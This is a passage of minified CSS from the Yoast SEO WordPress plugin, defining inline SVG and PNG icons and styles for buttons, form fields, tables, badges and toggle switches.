aria-hidden='true'%3E%3Cpath fill='%23555' d='M384 1408q0 80-56 136t-136 56-136-56-56-136 56-136 136-56 136 56 56 136m0-512q0 80-56 136t-136 56-136-56T0 896t56-136 136-56 136 56 56 136m1408 416v192q0 13-9.5 22.5t-22.5 9.5H544q-13 0-22.5-9.5T512 1504v-192q0-13 9.5-22.5t22.5-9.5h1216q13 0 22.5 9.5t9.5 22.5M384 384q0 80-56 136t-136 56-136-56T0 384t56-136 136-56 136 56 56 136m1408 416v192q0 13-9.5 22.5t-22.5 9.5H544q-13 0-22.5-9.5T512 992V800q0-13 9.5-22.5T544 768h1216q13 0 22.5 9.5t9.5 22.5m0-512v192q0 13-9.5 22.5T1760 512H544q-13 0-22.5-9.5T512 480V288q0-13 9.5-22.5T544 256h1216q13 0 22.5 9.5t9.5 22.5'/%3E%3C/svg%3E");--yoast-svg-icon-key:url('data:image/svg+xml;charset=utf-8,<svg xmlns="http://www.w3.org/2000/svg" aria-hidden="true" viewBox="0 0 1792 1792"><path d="M832 512q0-80-56-136t-136-56-136 56-56 136q0 42 19 83-41-19-83-19-80 0-136 56t-56 136 56 136 136 56 136-56 56-136q0-42-19-83 41 19 83 19 80 0 136-56t56-136m851 704q0 17-49 66t-66 49q-9 0-28.5-16t-36.5-33-38.5-40-24.5-26l-96 96 220 220q28 28 28 68 0 42-39 81t-81 39q-40 0-68-28l-671-671q-176 131-365 131-163 0-265.5-102.5T0 784q0-160 95-313t248-248 313-95q163 0 265.5 102.5T1024 496q0 189-131 365l355 355 96-96q-3-3-26-24.5t-40-38.5-33-36.5-16-28.5q0-17 49-66t66-49q13 0 23 10 6 6 46 44.5t82 79.5 86.5 86 73 78 28.5 41"/></svg>');--yoast-svg-icon-edit:url('data:image/svg+xml;charset=utf-8,<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><path d="m402.6 83.2 90.2 90.2c3.8 3.8 3.8 10 0 13.8L274.4 405.6l-92.8 10.3c-12.4 1.4-22.9-9.1-21.5-21.5l10.3-92.8L388.8 83.2c3.8-3.8 10-3.8 13.8 0m162-22.9-48.8-48.8c-15.2-15.2-39.9-15.2-55.2 0l-35.4 35.4c-3.8 3.8-3.8 10 0 13.8l90.2 90.2c3.8 3.8 10 3.8 13.8 0l35.4-35.4c15.2-15.3 15.2-40 0-55.2M384 346.2V448H64V128h229.8c3.2 0 6.2-1.3 8.5-3.5l40-40c7.6-7.6 2.2-20.5-8.5-20.5H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V306.2c0-10.7-12.9-16-20.5-8.5l-40 40c-2.2 2.3-3.5 5.3-3.5 8.5"/></svg>');--yoast-svg-icon-yoast:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='1792' height='1792' aria-hidden='true'%3E%3Cpath fill='%23999' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218M1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-good:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='1792' height='1792' aria-hidden='true'%3E%3Cpath fill='%237ad03a' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218M1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-ok:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='1792' height='1792' aria-hidden='true'%3E%3Cpath fill='%23ee7c1b' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218M1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-bad:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='1792' height='1792' aria-hidden='true'%3E%3Cpath fill='%23dc3232' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218M1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-noindex:url('data:image/svg+xml;charset=utf-8,<svg xmlns="http://www.w3.org/2000/svg" width="1792" height="1792" aria-hidden="true"><path d="M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218M1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558"/></svg>');--yoast-checkmark--green:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%236EA029' viewBox='0 0 512 512'%3E%3Cpath d='m173.898 439.404-166.4-166.4c-9.997-9.997-9.997-26.206 0-36.204l36.203-36.204c9.997-9.998 26.207-9.998 36.204 0L192 312.69 432.095 72.596c9.997-9.997 26.207-9.997 36.204 0l36.203 36.204c9.997 9.997 9.997 26.206 0 36.204l-294.4 294.401c-9.998 9.997-26.207 9.997-36.204-.001'/%3E%3C/svg%3E");--yoast-exclamation-mark:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23DC3232' viewBox='0 0 512 512'%3E%3Cpath d='M504 256c0 136.997-111.043 248-248 248S8 392.997 8 256C8 119.083 119.043 8 256 8s248 111.083 248 248m-248 50c-25.405 0-46 20.595-46 46s20.595 46 46 46 46-20.595 46-46-20.595-46-46-46m-43.673-165.346 7.418 136c.347 6.364 5.609 11.346 11.982 11.346h48.546c6.373 0 11.635-4.982 11.982-11.346l7.418-136c.375-6.874-5.098-12.654-11.982-12.654h-63.383c-6.884 0-12.356 5.78-11.981 12.654'/%3E%3C/svg%3E");--yoast-svg-icon-schema:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='512' height='512' aria-hidden='true'%3E%3Cpath fill='%231e8cbe' d='M149.333 56v80c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24V56c0-13.255 10.745-24 24-24h101.333c13.255 0 24 10.745 24 24m181.334 240v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24h101.333c13.256 0 24.001-10.745 24.001-24m32-240v80c0 13.255 10.745 24 24 24H488c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24H386.667c-13.255 0-24 10.745-24 24m-32 80V56c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24h101.333c13.256 0 24.001-10.745 24.001-24m-205.334 56H24c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24M0 376v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H24c-13.255 0-24 10.745-24 24m386.667-56H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H386.667c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24m0 160H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H386.667c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24M181.333 376v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24'/%3E%3C/svg%3E");--yoast-svg-icon-schema-active:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='512' height='512' aria-hidden='true'%3E%3Cpath fill='D4444' d='M149.333 56v80c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24V56c0-13.255 10.745-24 24-24h101.333c13.255 0 24 10.745 24 24m181.334 240v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24h101.333c13.256 0 24.001-10.745 24.001-24m32-240v80c0 13.255 10.745 24 24 24H488c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24H386.667c-13.255 0-24 10.745-24 24m-32 80V56c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24h101.333c13.256 0 24.001-10.745 24.001-24m-205.334 56H24c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24M0 376v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H24c-13.255 0-24 10.745-24 24m386.667-56H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H386.667c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24m0 160H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H386.667c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24M181.333 376v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24'/%3E%3C/svg%3E");--yoast-svg-icon-image:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='none' stroke='%23707070' viewBox='0 0 24 24'%3E%3Cpath stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='m4 16 4.586-4.586a2 2 0 0 1 2.828 0L16 16m-2-2 1.586-1.586a2 2 0 0 1 2.828 0L20 14m-6-6h.01M6 20h12a2 2 0 0 0 2-2V6a2 2 0 0 0-2-2H6a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2'/%3E%3C/svg%3E");--yoast-font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;--yoast-font-size-default:14px;--yoast-font-weight-default:400;--yoast-font-weight-bold:600;--yoast-color-font-default:#404040;--yoast-shadow-default:0px 3px 6px #00000026}.yoast-h1,.yoast-h2,.yoast-h3{color:var(--yoast-color-primary);font-weight:400;line-height:1.2;margin:0}.yoast-h1 a,.yoast-h2 a,.yoast-h3 a{color:var(--yoast-color-primary);text-decoration:none}.yoast-h1{font-size:24px}.yoast-h2{font-size:20px}.yoast-h3{font-size:16px}.yoast-paragraph{font-size:var(--yoast-font-size-default);margin-top:0}.screen-reader-text{clip:rect(1px,1px,1px,1px);word-wrap:normal!important;border:0;-webkit-clip-path:inset(50%);clip-path:inset(50%);margin:-1px;padding:0}.screen-reader-text,.visually-hidden{height:1px;overflow:hidden;position:absolute;width:1px}.visually-hidden{clip:rect(1px,1px,1px,1px);word-wrap:normal;white-space:nowrap}@media (max-width:782px){.yoast-show-on-mobile{display:initial!important}}@media (min-width:782px){.yoast-hide-on-desktop{display:none}}.yoast-field-group__title-separator{display:flex;flex-wrap:wrap}.yoast-field-group__title-separator label{align-items:center;border:var(--yoast-border-default);box-sizing:border-box;cursor:pointer;display:flex;flex-direction:column;height:42px;justify-content:center;margin:0 0 6px 6px;width:42px}.yoast-field-group__title-separator input[type=radio]:checked+label{border:3px solid var(--yoast-color-primary)}.yoast .yoast-button{align-items:center;border:1px solid #0003;border-radius:4px;box-shadow:inset 0 -2px 0 #0000001a;cursor:pointer;display:inline-flex;font-size:14px;justify-content:center;line-height:1.2;padding:10px 12px 12px;position:relative;text-decoration:none;transition:background-color .15s ease-out 0s}.yoast .yoast-button:focus,.yoast-close:focus,.yoast-hide:focus,.yoast-remove:focus{box-shadow:var(--yoast-color-focus);outline:none}.yoast .yoast-button::-moz-focus-inner,.yoast-close::-moz-focus-inner,.yoast-hide::-moz-focus-inner,.yoast-remove::-moz-focus-inner{border:0}.yoast .yoast-button:not(:disabled):active{box-shadow:none;top:2px}.yoast .yoast-button:disabled{cursor:default;opacity:.5}.yoast .yoast-button--primary{background-color:var(--yoast-color-primary)}.yoast .yoast-button--primary,.yoast .yoast-button--primary:visited{border:1px solid #0003;color:var(--yoast-color-white)}.yoast .yoast-button--primary:active,.yoast .yoast-button--primary:not(:disabled):hover{background-color:var(--yoast-color-primary-darker);border:1px solid #0003;color:var(--yoast-color-white)}.yoast .yoast-button--primary:focus{background-color:var(--yoast-color-primary);color:var(--yoast-color-white)}.yoast .yoast-button--secondary{background-color:var(--yoast-color-secondary);box-shadow:inset 0 -2px 0 #0000001a;color:var(--yoast-color-dark)}.yoast .yoast-button--secondary:visited{color:var(--yoast-color-dark)}.yoast .yoast-button--secondary:active,.yoast .yoast-button--secondary:not(:disabled):hover{background-color:var(--yoast-color-secondary-darker);border:1px solid #0003;color:var(--yoast-color-dark)}.yoast .yoast-button--buy{background-color:var(--yoast-color-sale)}.yoast .yoast-button--buy,.yoast .yoast-button--buy:visited{color:var(--yoast-color-dark)}.yoast .yoast-button--buy:active,.yoast .yoast-button--buy:not(:disabled):hover{background-color:var(--yoast-color-sale-darker);color:var(--yoast-color-dark)}.yoast .yoast-button--buy__caret{height:16px;margin:0 6px 0 -2px;-webkit-mask-image:var(--yoast-svg-icon-caret-right);mask-image:var(--yoast-svg-icon-caret-right);width:6px}.yoast .yoast-button--buy__caret,.yoast .yoast-button--edit{background-color:currentColor;display:inline-block;flex-shrink:0}.yoast .yoast-button--edit{height:18px;margin-left:8px;-webkit-mask-image:var(--yoast-svg-icon-edit);mask-image:var(--yoast-svg-icon-edit);width:20.25px}html[dir=rtl] .yoast .yoast-button--edit{margin-right:8px;margin-left:0}html[dir=rtl] .yoast .yoast-button--buy{flex-direction:row-reverse}.yoast .yoast-button--small{font-size:13px;padding:5px 8px 8px}.yoast .yoast-button--small .yoast-button--buy__caret{height:10px;width:4px}.yoast-hide,.yoast-remove{background-color:initial;border:none;color:#dc3232;cursor:pointer;font-size:14px;padding:0;text-decoration:underline}.yoast-hide{color:var(--yoast-color-link)}.yoast-field-group__upload .yoast-button{margin-left:24px}.yoast-close{align-items:center;background:none;border:none;box-shadow:none;cursor:pointer;display:flex;height:44px;justify-content:center;padding:0;width:44px}.yoast-close svg{fill:var(--yoast-color-default);width:14px}@media screen and (max-width:782px){.yoast-close svg{width:10px}}.yoast-field-group__checkbox{align-items:center;display:flex}.yoast-field-group__checkbox:not(.yoast-field-group__checkbox--horizontal)+.yoast-field-group__checkbox{margin-top:4px}.yoast-field-group__checkbox label{cursor:pointer}.yoast-field-group__checkbox input[type=checkbox]{-webkit-appearance:none;-moz-appearance:none;border:var(--yoast-border-default);border-radius:2px;box-shadow:inset 0 2px 4px #0000001a;cursor:pointer;height:18px;margin:2px 0 0 8px;overflow:hidden;padding:2px;position:relative;transition:background-color .15s ease-out 0s;width:18px}.yoast-field-group__checkbox input[type=checkbox]:checked:focus,.yoast-field-group__checkbox input[type=checkbox]:focus{box-shadow:var(--yoast-color-focus);outline:none}.yoast label+input[type=checkbox]{margin-right:16px}.yoast-field-group__checkbox input[type=checkbox]:checked{background:var(--yoast-checkmark--white) var(--yoast-color-primary) no-repeat center /13px;border:1px solid var(--yoast-color-primary);box-shadow:none}.yoast-field-group__checkbox input[type=checkbox]:checked:before{content:""}.yoast-field-group{border:none;margin:0 0 24px;padding:0;position:relative}.yoast-field-group__title{align-items:center;color:var(--yoast-color-label);display:flex;font-size:var(--yoast-font-size-default);font-weight:var(--yoast-font-weight-bold);line-height:1.5;margin:0 0 8px;padding:0}.yoast-field-group__title.yoast-field-group__title--light{font-weight:var(--yoast-font-weight-default)}.yoast-field-group .field-group-description{margin:0 0 1em}.yoast-field-group__inline{align-items:center;display:flex}.yoast-field-group__inline .yoast-field-group__inputfield{margin-left:8px}.yoast-field-group__inline .yoast-button{flex-shrink:0}.yoast-field-group .components-form-token-field__label{display:none}@media screen and (max-width:782px){.yoast-field-group__inline{display:block}.yoast-field-group__inline .yoast-field-group__inputfield{margin-bottom:8px;margin-left:0}}.yoast-help{margin-right:4px}.yoast-help__icon svg{fill:var(--yoast-color-inactive-text);height:12px;transition:var(--yoast-transition-default);width:12px}.yoast-help:focus svg,.yoast-help:hover svg{fill:var(--yoast-color-link)}.yoast-data-model{list-style:none;padding:0}.yoast-data-model li{font-weight:var(--yoast-font-weight-bold);line-height:1.4;padding:0 8px;position:relative;z-index:2}.yoast-data-model span{float:left;font-weight:var(--yoast-font-weight-default)}.yoast-data-model li+li{margin-top:9px}.yoast-data-model li:after{background:#f5d6e6;content:"";height:20px;right:0;position:absolute;width:var(--yoast-width);z-index:-1}.yoast-image-select__preview{align-items:center;background-color:initial;border:1px solid #0003;display:flex;justify-content:center;max-height:200px;max-width:100%;min-height:165px;overflow:hidden;padding:0;width:300px}.yoast-image-select__preview--no-preview{background:var(--yoast-color-inactive-grey-light) var(--yoast-svg-icon-image) no-repeat center center /64px 64px}.yoast-image-select__preview.yoast-image-select__preview-has-warnings{margin-bottom:16px}.yoast-image-select__preview .yoast-image-select__preview--image{height:100%;max-width:100%;object-fit:contain}.yoast-image-select .yoast-field-group__inputfield{margin-bottom:1em}.yoast-image-select .yoast-button{margin-left:1.5em}.yoast-image-select{margin-bottom:1.7em;margin-top:1.7em}.yoast-image-select .yoast-image-select-buttons button{margin-top:1em}#organization-image-select .yoast-image-select{margin-top:0}:root{--yoast-color-placeholder:#707070}.yoast .yoast-field-group__inputfield,.yoast .yoast-field-group__textarea{background:var(--yoast-color-white);border:var(--yoast-border-default);border-radius:0;box-shadow:inset 0 2px 4px #0000001a;box-sizing:border-box;font-size:var(--yoast-font-size-default);padding:8px;width:100%}.yoast .yoast-field-group__inputfield:focus,.yoast .yoast-field-group__textarea:focus{box-shadow:var(--yoast-color-focus);outline:none}.yoast-field-group__upload .yoast-field-group__inputfield{margin-bottom:8px}.yoast-field-group__inputfield{height:40px}.yoast-field-group__textarea{min-height:200px}.yoast input+.description,.yoast-field-group .description+.yoast-field-group__inputfield,.yoast-field-group .description+input,.yoast-field-group__inputfield+.description{margin-bottom:24px;margin-top:8px}.yoast .yoast-field-group__inputfield:disabled,.yoast .yoast-field-group__inputfield:read-only,.yoast .yoast-field-group__inputfield[aria-disabled=true]{background:var(--yoast-color-inactive-grey-light)}.yoast .duration-inputs__wrapper{display:flex;flex-direction:row}.yoast .duration-inputs__input-wrapper{display:flex;flex-direction:column}.yoast .duration-inputs__input{margin:0 0 0 8px;width:4em}::placeholder{color:var(--yoast-color-placeholder);opacity:1}.yoast-insights-row:not(:last-of-type){border-bottom:1px solid #0000001a;margin-bottom:24px;padding-bottom:24px}.yoast-insights-row--columns{grid-gap:24px;display:grid;grid-template-columns:1fr 1fr}@media(min-width:782px){.yoast-modal-content .yoast-insights-row{border-bottom:1px solid #0000001a;margin-bottom:24px;padding-bottom:24px}}.yoast-insights-card__content{display:flex}.yoast-insights-card__score{flex-shrink:0;font-size:16px;margin-left:2em}.yoast-insights-card__amount{display:block;font-size:3.5em;line-height:1}.yoast-field-group__radiobutton{align-items:center;display:flex}.yoast-field-group__radiobutton--vertical:not(:last-of-type){margin-bottom:8px}.yoast-field-group__radiobutton label{cursor:pointer;margin-left:16px}.yoast-field-group__radiobutton input[type=radio]{-webkit-appearance:none;-moz-appearance:none;border:var(--yoast-border-default);border-radius:50%;box-shadow:inset 0 2px 4px #0000001a;cursor:pointer;height:18px;margin:0 0 0 8px;overflow:hidden;padding:2px;position:relative;transition:border-color .15s ease-out 0s;width:18px}.yoast-field-group__radiobutton input[type=radio]:checked:focus,.yoast-field-group__radiobutton input[type=radio]:focus{box-shadow:var(--yoast-color-focus);outline:none}.yoast-field-group__radiobutton input[type=radio]:checked{background-color:inherit;border-color:var(--yoast-color-primary)}.yoast-field-group__radiobutton input[type=radio]:checked:before{content:none}.yoast-field-group__radiobutton input[type=radio]:after{background-color:initial;border-radius:50%;content:"";display:block;height:10px;right:3px;position:absolute;top:3px;transition:background-color .15s ease-out 0s;width:10px}.yoast-field-group__radiobutton input[type=radio]:checked:after{background-color:var(--yoast-color-primary)}.yoast-field-group__select{align-items:center;cursor:pointer;display:flex}.yoast-select__indicator-separator{display:none}.yoast-select-container{background-color:#fff;border:var(--yoast-border-default);border-radius:0;box-shadow:inset 0 2px 4px #0000001a;display:block;min-height:2.85em;padding:0;position:relative;width:100%}.yoast-select-container .yoast-select__control--is-focused{box-shadow:var(--yoast-color-focus);outline:none}.yoast-select-container .yoast-select__indicator>svg{color:#212121}.yoast-select-container .yoast-select__menu{margin:0;z-index:2}.yoast-select-container .yoast-select__multi-value__label{align-items:center;box-sizing:border-box;color:inherit;display:flex;font-size:14px;padding:0}.yoast-select-container .yoast-select__multi-value{background-color:var(--yoast-color-primary);border:0;border-radius:12px;color:var(--yoast-color-white);display:flex;flex-direction:row-reverse;font-weight:500;line-height:1.5;margin-bottom:3px;margin-left:8px;margin-top:3px;padding:1px 10px 2px}.yoast-select-container .yoast-select__menu-list{padding:0}.yoast-select-container .yoast-select__multi-value__remove{-webkit-box-align:center;align-items:center;border-radius:2px;box-sizing:border-box;display:flex;margin-left:6px;padding:2px 0 0}.yoast-select-container .yoast-select__multi-value__remove:hover{background-color:inherit;color:var(--yoast-color-white);cursor:pointer}.yoast-select-container .yoast-select__control{background-color:initial;border:none;border-radius:0}.yoast-select-container .yoast-select__option{box-sizing:border-box;color:inherit;cursor:default;display:block;padding:8px 12px;-webkit-user-select:none;user-select:none;width:100%}.yoast-select-container .yoast-select__option--is-focused{background-color:var(--yoast-color-primary-lighter);color:var(--yoast-color-font-default)}.yoast-select-container .yoast-select__option.yoast-select__option--is-selected{background-color:var(--yoast-color-primary);color:var(--yoast-color-white)}.yoast-select-container input[type=text]:focus{box-shadow:none}.yoast-field-group select,.yoast-field-group__select select{-webkit-appearance:none;-moz-appearance:none;background-color:#fff;background-image:url('data:image/svg+xml;charset=utf-8,<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 8"><path d="M1.4 0 6 4.6 10.6 0 12 1.4 6 7.5 0 1.4z"/></svg>');background-position:left 15px center;background-repeat:no-repeat;background-size:13px auto;border:var(--yoast-border-default);border-radius:0;box-shadow:inset 0 2px 4px #0000001a;display:block;font-size:var(--yoast-font-size-default);max-width:300px;min-height:2.85em;padding:5px 8px;position:relative;width:100%}.yoast-field-group .yoast-select__value-container{padding:0 8px!important}.yoast-field-group select:focus,.yoast-field-group__select select:focus{box-shadow:var(--yoast-color-focus);outline:none}.yoast-field-group select,.yoast-field-group__select select{line-height:1.9;padding-left:40px}.yoast-field-group select.yoast-select--inline{display:inline-block}.yoast-field-group--inline{display:inline-block;margin-left:8px;max-width:300px;width:100%}.yoast-star-rating{display:inline-block;height:12px;width:65px}.yoast-star-rating span{background-repeat:repeat-x;background-size:13px 12px;height:100%;width:100%}.yoast-star-rating__placeholder{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACoAAAAmCAQAAAAYCMGrAAAA+klEQVR4AcWV4cbtMBBFF0MIVUopoVSrhDDv/3gf/RFRpzdNOty1HiBO99mzeYWgCMZMKCPGrCgrxiSUhCkDeukxJKCXAUMiehkxw6FZhxEzmp0x4kCzByYISqlYdal0supS6WrVpdLEK0YSamJiJOPY0c/uOG4s6CcXfuKJaJcRzyNCQJsNiF1sRTR1hP11NNJ8RCrONOPRf+r7J+TZgQ5CNfMOYvW/2YxDqzqA/57+gVY9eiakrnyZEGXDsaE3p/4JScwPX3rtnZATDxnPWT7X16XAHaH8HWNrlxJD9TyGti5tCM84zpZe+RxNjeX9tZqLaGoMxN/P/wHP5Vw+8ZxnEQAAAABJRU5ErkJggg==);display:inline-block;overflow:hidden;position:relative}.yoast-star-rating__fill{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACoAAAAmBAMAAABALxQTAAAAFVBMVEVMaXH4twP4twP4twP4twP4twP4twP7w8S/AAAAB3RSTlMAFv5uPpvQloUsTQAAAMFJREFUeAGE0TEOgzAMQFEXoDNiYC6/wFxxAsTADDkB5f6HqNRENXUi8TYiRfnY8lNXkjBOkuBWSeAhsYJOYiW9xO4MEqshkTbCSyIH7GLdgFasHHgmwkikZQD6OROZRG4Hxju8o/TNhbNhCqkOxaZDVKdxNnq/EjUS/A2o0PuXpyVeb9bjDWY9QSWXDQfBbtbjtWY9bM4sqfx+5yYt8wNcAFEzrGGkk5668KsFrKewPtQ3aFqh8WOnYZ+lIBQkgykAWk8rlAqcHfQAAAAASUVORK5CYII=);display:block}.yoast-table{border:var(--yoast-border-default);border-bottom:0;border-spacing:0;color:var(--yoast-color-default);font-size:var(--yoast-font-size-default);line-height:1.2;width:100%}.yoast-table tbody tr:nth-child(odd){background-color:#f9f9f9}.yoast-table th{color:var(--yoast-color-dark);font-weight:var(--yoast-font-weight-bold);text-align:right;white-space:nowrap}.yoast-table td,.yoast-table th{border-bottom:var(--yoast-border-default);padding:18px 12px}.yoast-table td:first-child,.yoast-table th:first-child{padding-right:16px}.yoast-table td:last-child,.yoast-table th:last-child{padding-left:16px}td.yoast-table__button,td.yoast-table__image{padding:10px 18px 9px}.yoast-table.yoast-table--nobreak td,td.yoast-table--nobreak,tr.yoast-table--nobreak td{white-space:nowrap}th.yoast-table--primary{width:100%}td.yoast-table--nopadding{padding:0 12px}.yoast-badge{border-radius:8px;display:inline-block;font-size:10px;font-weight:600;line-height:1.6;min-height:16px;padding:0 8px}.yoast-badge__in-label{margin-right:8px;vertical-align:text-top}.yoast-new-badge{background-color:#cce5ff;color:#004973}.yoast-premium-badge{background-color:#fff3cd;color:#674e00}.yoast-beta-badge{background-color:#cce5ff;color:#004973;margin:0 0 0 2px}.yoast-feature{margin-left:150px;max-width:600px}.yoast-toggle__item{border-bottom:1px solid var(--yoast-color-border);display:flex;justify-content:space-between;margin-bottom:16px;padding-bottom:16px}.yoast-toggle__item-disabled{position:relative}.yoast-toggle__item-disabled .yoast-button.yoast-button--buy{right:100%;margin-right:32px;position:absolute;white-space:nowrap}.yoast-toggle__item-disabled .yoast-toggle,.yoast-toggle__item-disabled .yoast-toggle__item-title{opacity:.5}.yoast-toggle__item-title{align-items:center;display:flex;font-weight:700}input[type=checkbox].yoast-toggle__checkbox{-webkit-appearance:none;-moz-appearance:none;background-color:initial;border:0;box-shadow:none;height:23px;margin-right:8px;overflow:hidden;position:absolute;width:34px;z-index:1}input[type=checkbox].yoast-toggle__checkbox:checked:before{content:none}.yoast-toggle__switch{background-color:var(--yoast-color-inactive-grey);border-radius:8px;display:inline-block;height:14px;margin-right:8px;margin-left:8px;position:relative;width:34px}.yoast-toggle__checkbox:focus~.yoast-toggle__switch:before{box-shadow:var(--yoast-color-focus)}.yoast-toggle__switch:before{background-color:var(--yoast-color-inactive-grey-light);border:.5px solid #0000001a;border-radius:50%;box-shadow:0 1px 2px 0 #0006;box-sizing:border-box;content:"";height:20px;right:0;position:absolute;top:-3px;width:20px}.yoast-toggle,.yoast-toggle--inverse{align-items:center;display:grid;grid-template:1fr/repeat(3,auto);position:relative}.yoast-toggle--inverse>*,.yoast-toggle>*{grid-row:1}.yoast-toggle--inactive,.yoast-toggle--inverse .yoast-toggle--active{grid-column:1}.yoast-toggle__checkbox,.yoast-toggle__switch{grid-column:2}.yoast-toggle--active,.yoast-toggle--inverse .yoast-toggle--inactive{grid-column:3}.yoast-toggle .yoast-toggle__checkbox:checked~.yoast-toggle__switch,.yoast-toggle--inverse .yoast-toggle__checkbox:not(:checked)~.yoast-toggle__switch{background-color:var(--yoast-color-active-light)}.yoast-toggle .yoast-toggle__checkbox:checked~.yoast-toggle__switch:before,.yoast-toggle--inverse .yoast-toggle__checkbox:not(:checked)~.yoast-toggle__switch:before{background-color:var(--yoast-color-active);right:auto;left:0}.yoast-toggle--inverse .yoast-toggle__checkbox:checked~.yoast-toggle__switch:before{right:0;left:auto}.yoast-toggle .yoast-toggle__checkbox~.yoast-toggle--inactive,.yoast-toggle--inverse .yoast-toggle__checkbox~.yoast-toggle--inactive{color:var(--yoast-color-default-darker)}.yoast-toggle .yoast-toggle__checkbox:checked~.yoast-toggle--inactive,.yoast-toggle 